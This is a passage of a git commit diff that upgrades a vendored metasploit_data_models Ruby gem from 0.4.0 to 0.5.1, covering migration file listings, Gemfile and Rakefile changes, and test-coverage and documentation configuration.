lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/010_add_alert_fields.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/011_add_reports.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/012_add_tasks.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/013_add_tasks_result.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/014_add_loots_fields.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/015_rename_user.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/016_add_host_purpose.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/017_expand_info2.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/018_add_workspace_user_info.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/019_add_workspace_desc.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/020_add_user_preferences.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/021_standardize_info_and_data.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/022_enlarge_event_info.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/023_add_report_downloaded_at.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/024_convert_service_info_to_text.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/025_add_user_admin.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/026_add_creds_table.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100819123300_migrate_cred_data.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100824151500_add_exploited_table.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100908001428_add_owner_to_workspaces.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100911122000_add_report_templates.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100916151530_require_admin_flag.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100916175000_add_campaigns_and_templates.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100920012100_add_generate_exe_column.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100926214000_add_template_prefs.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101001000000_add_web_tables.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101002000000_add_query.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101007000000_add_vuln_info.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101008111800_add_clients_to_campaigns.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101009023300_add_campaign_attachments.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101104135100_add_imported_creds.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101203000000_fix_web_tables.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101203000001_expand_host_comment.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101206212033_add_limit_to_network_to_workspaces.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110112154300_add_module_uuid_to_tasks.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110204112800_add_host_tags.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110317144932_add_session_table.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110414180600_add_local_id_to_session_table.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110415175705_add_routes_table.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110422000000_convert_binary.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110425095900_add_last_seen_to_sessions.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110513143900_track_successful_exploits.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110517160800_rename_and_prune_nessus_vulns.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110527000000_add_task_id_to_reports_table.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110527000001_add_api_keys_table.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110606000001_add_macros_table.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110622000000_add_settings_to_tasks_table.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110624000001_add_listeners_table.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110625000001_add_macro_to_listeners_table.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110630000001_add_nexpose_consoles_table.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110630000002_add_name_to_nexpose_consoles_table.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110717000001_add_profiles_table.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110727163801_expand_cred_ptype_column.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110730000001_add_initial_indexes.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110812000001_prune_indexes.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110922000000_expand_notes.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110928101300_add_mod_ref_table.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111011110000_add_display_name_to_reports_table.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111203000000_inet_columns.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111204000000_more_inet_columns.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111210000000_add_scope_to_hosts.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120126110000_add_virtual_host_to_hosts.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120411173220_rename_workspace_members.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120601152442_add_counter_caches_to_hosts.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000000_add_vuln_details.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000001_add_host_details.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000002_expand_details.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000003_expand_details2.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000004_add_vuln_attempts.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000005_add_vuln_and_host_counter_caches.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000006_add_module_details.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000007_add_exploit_attempts.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000008_add_fail_message.rb create mode 100644 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb create mode 100644 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20130228214900_change_required_columns_to_null_false_in_web_vulns.rb rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/lib/mdm.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/lib/mdm/host/operating_system_normalization.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/lib/metasploit_data_models.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/lib/metasploit_data_models/base64_serializer.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/lib/metasploit_data_models/engine.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/lib/metasploit_data_models/serialized_prefs.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/lib/metasploit_data_models/validators/ip_format_validator.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/lib/metasploit_data_models/validators/password_is_strong_validator.rb (100%) create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/version.rb create mode 100644 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/tasks/yard.rake rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/metasploit_data_models.gemspec (88%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/script/rails (100%) create mode 100644 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/app/models/mdm/web_vuln_spec.rb rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/Rakefile (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/app/assets/javascripts/application.js (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/app/assets/stylesheets/application.css (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/app/controllers/application_controller.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/app/helpers/application_helper.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/app/mailers/.gitkeep (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/app/models/.gitkeep (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/app/views/layouts/application.html.erb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/config.ru (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/config/application.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/config/boot.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/config/database.yml.example (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/config/environment.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/config/environments/development.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/config/environments/production.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/config/environments/test.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/config/initializers/backtrace_silencers.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/config/initializers/inflections.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/config/initializers/mime_types.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/config/initializers/secret_token.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/config/initializers/session_store.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/config/initializers/wrap_parameters.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/config/routes.rb (100%) create mode 100644 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/db/schema.rb rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/lib/assets/.gitkeep (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/log/.gitkeep (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/public/404.html (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/public/422.html (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/public/500.html (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/public/favicon.ico (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/script/rails (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/lib/base64_serializer_spec.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/spec_helper.rb (96%) rename lib/gemcache/ruby/1.9.1/specifications/{metasploit_data_models-0.3.0.gemspec => metasploit_data_models-0.5.1.gemspec} (72%) diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/Gemfile b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/Gemfile deleted file mode 100755 index b72e01d066..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/Gemfile +++ /dev/null @@ -1,10 +0,0 @@ -source "http://rubygems.org" - -# Specify your gem's dependencies in metasploit_data_models.gemspec -gemspec - -group :test do - # rails is only used for testing with a dummy application in spec/dummy - gem 'rails' - gem 'rspec-rails' -end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/Rakefile b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/Rakefile deleted file mode 100755 index ccea92f08e..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/Rakefile +++ /dev/null @@ -1,7 +0,0 @@ -require 'bundler/gem_tasks' -require 'rspec/core/rake_task' - -RSpec::Core::RakeTask.new(:spec) - -task :default => :spec - diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/web_vuln.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/web_vuln.rb deleted file mode 100755 index 3d938d3ef9..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/web_vuln.rb +++ /dev/null @@ -1,16 +0,0 @@ -class Mdm::WebVuln < ActiveRecord::Base - # - # Relations - # - - belongs_to :web_site, :class_name => 'Mdm::WebSite' - - # - # Serializations - # - - serialize :params, MetasploitDataModels::Base64Serializer.new - - ActiveSupport.run_load_hooks(:mdm_web_vuln, self) -end - diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/metasploit_data_models/version.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/metasploit_data_models/version.rb deleted file mode 100755 index cf7d89cc68..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/metasploit_data_models/version.rb +++ /dev/null @@ -1,7 +0,0 @@ -module MetasploitDataModels - # MetasploitDataModels follows the {Semantic Versioning Specification http://semver.org/}. At this time, the API - # is considered unstable because the database migrations are still in metasploit-framework and certain models may not - # be shared between metasploit-framework and pro, so models may be removed in the future. Because of the unstable API - # the version should remain below 1.0.0 - VERSION = '0.4.0' -end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/.gitignore b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.gitignore similarity index 78% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/.gitignore rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.gitignore index e5b2a024e4..9cf3f2824c 100755 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/.gitignore +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.gitignore @@ -6,13 +6,19 @@ *.gem # Rubymine project configuration .idea +# logs +*.log # Don't check in rvmrc since this is a gem .rvmrc +# YARD database +.yardoc +# coverage report directory for simplecov/Rubymine +coverage +# generated yardocs +doc # Installed gem versions. Not stored for the same reasons as .rvmrc Gemfile.lock # Packaging directory for builds pkg/* # Database configuration (with passwords) for specs spec/dummy/config/database.yml -# logs -*.log diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/.rspec b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.rspec similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/.rspec rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.rspec diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.simplecov b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.simplecov new file mode 100644 index 0000000000..c46d9aaf94 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.simplecov @@ -0,0 +1,38 @@ +# RM_INFO is set when using Rubymine. In Rubymine, starting SimpleCov is +# controlled by running with coverage, so don't explicitly start coverage (and +# therefore generate a report) when in Rubymine. This _will_ generate a report +# whenever `rake spec` is run. +unless ENV['RM_INFO'] + SimpleCov.start +end + +SimpleCov.configure do + load_adapter('rails') + + # ignore this file + add_filter '.simplecov' + + # + # Changed Files in Git Group + # @see http://fredwu.me/post/35625566267/simplecov-test-coverage-for-changed-files-only + # + + untracked = `git ls-files --exclude-standard --others` + unstaged = `git diff --name-only` + staged = `git diff --name-only --cached` + all = untracked + unstaged + staged + changed_filenames = all.split("\n") + + add_group 'Changed' do |source_file| + changed_filenames.detect { |changed_filename| + source_file.filename.end_with?(changed_filename) + } + end + + # + # Specs are reported on to ensure that all examples are being run and all + # lets, befores, afters, etc are being used. + # + + add_group 'Specs', 'spec' +end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.yardopts b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.yardopts new file mode 100644 index 0000000000..5d51dac244 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.yardopts @@ -0,0 +1,4 @@ +--markup markdown +--protected +{app,lib}/**/*.rb +db/migrate/*.rb \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/Gemfile b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/Gemfile new file mode 100755 index 0000000000..c4e6b487cb --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/Gemfile @@ -0,0 +1,22 @@ +source "http://rubygems.org" + +# Specify your gem's dependencies in metasploit_data_models.gemspec +gemspec + +# used by dummy application +group :development, :test do + # supplies factories for producing model instance for specs + gem 'factory_girl_rails' + # rails is only used for the dummy application in spec/dummy + gem 'rails' +end + +group :test do + # In a full rails project, factory_girl_rails would be in both the :development, and :test group, but since we only + # want rails in :test, factory_girl_rails must also only be in :test. + # add matchers from shoulda, such as validates_presence_of, which are useful for testing validations + gem 'shoulda-matchers' + # code coverage of tests + gem 'simplecov', :require => false + gem 'rspec-rails' +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/LICENSE b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/LICENSE similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/LICENSE rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/LICENSE diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/README.md b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/README.md similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/README.md rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/README.md diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/Rakefile b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/Rakefile new file mode 100755 index 0000000000..b582299d61 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/Rakefile @@ -0,0 +1,20 @@ +#!/usr/bin/env rake +begin + require 'bundler/setup' +rescue LoadError + puts 'You must `gem install bundler` and `bundle install` to run rake tasks' +end + + +APP_RAKEFILE = File.expand_path('../spec/dummy/Rakefile', __FILE__) +load 'rails/tasks/engine.rake' + +Bundler::GemHelper.install_tasks + +require 'rspec/core/rake_task' + +RSpec::Core::RakeTask.new(:spec) +task :default => :spec + +load 'lib/tasks/yard.rake' + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/api_key.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/api_key.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/api_key.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/api_key.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/client.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/client.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/client.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/client.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/cred.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/cred.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/cred.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/cred.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/event.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/event.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/event.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/event.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/exploit_attempt.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/exploit_attempt.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/exploit_attempt.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/exploit_attempt.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/exploited_host.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/exploited_host.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/exploited_host.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/exploited_host.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/host.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/host.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/host.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/host.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/host_detail.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/host_detail.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/host_detail.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/host_detail.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/host_tag.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/host_tag.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/host_tag.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/host_tag.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/imported_cred.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/imported_cred.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/imported_cred.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/imported_cred.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/listener.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/listener.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/listener.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/listener.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/loot.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/loot.rb similarity index 100% rename from 